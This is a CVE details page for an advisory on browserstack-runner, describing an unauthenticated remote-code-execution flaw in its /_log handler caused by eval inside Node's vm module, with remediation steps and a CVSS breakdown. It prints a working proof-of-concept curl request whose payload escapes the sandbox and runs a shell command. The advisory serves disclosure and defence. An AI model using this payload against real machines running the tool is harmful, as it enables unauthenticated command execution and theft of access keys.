CVE-2026-49143 — Vulnerability in browserstack-runner — CVE Details
HIGH
browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler
Published June 3, 2026Updated June 3, 2026Source: osv
Summary
### Summary
The HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.
### Details
When `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:
```javascript
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
```
The `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor("return process")()`.
Unlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.
### Proof of Concept
```bash
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
```
### Impact
An attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
### Remediation
1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging
2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)
3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`
### Credit
Christ Bowel Bouchuen
Advisory Timeline
- First published June 3, 2026 (131 days ago).
- Last revised June 3, 2026 — 0 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Ecosystem | Affected | Fixed In |
|---|---|---|---|
| browserstack-runner | npm | All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-49143ADVISORY
- https://github.com/browserstack/browserstack-runnerPACKAGE
- https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handlerWEB
Frequently Asked Questions
- What is CVE-2026-49143?
- browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-49143?
- CVE-2026-49143 affects browserstack-runner. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-49143 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
8.8
High exploitability or significant impact. Prioritize remediation within days.
Also Known As
GHSA-6vr3-7wcx-v5g5
Related CVEs
- CVE-2026-107375HIGH
JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
- CVE-2026-107384HIGH
MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)
Check if you're affected
Scan your dependencies to see if this vulnerability affects your projects.
Scan Your Dependencies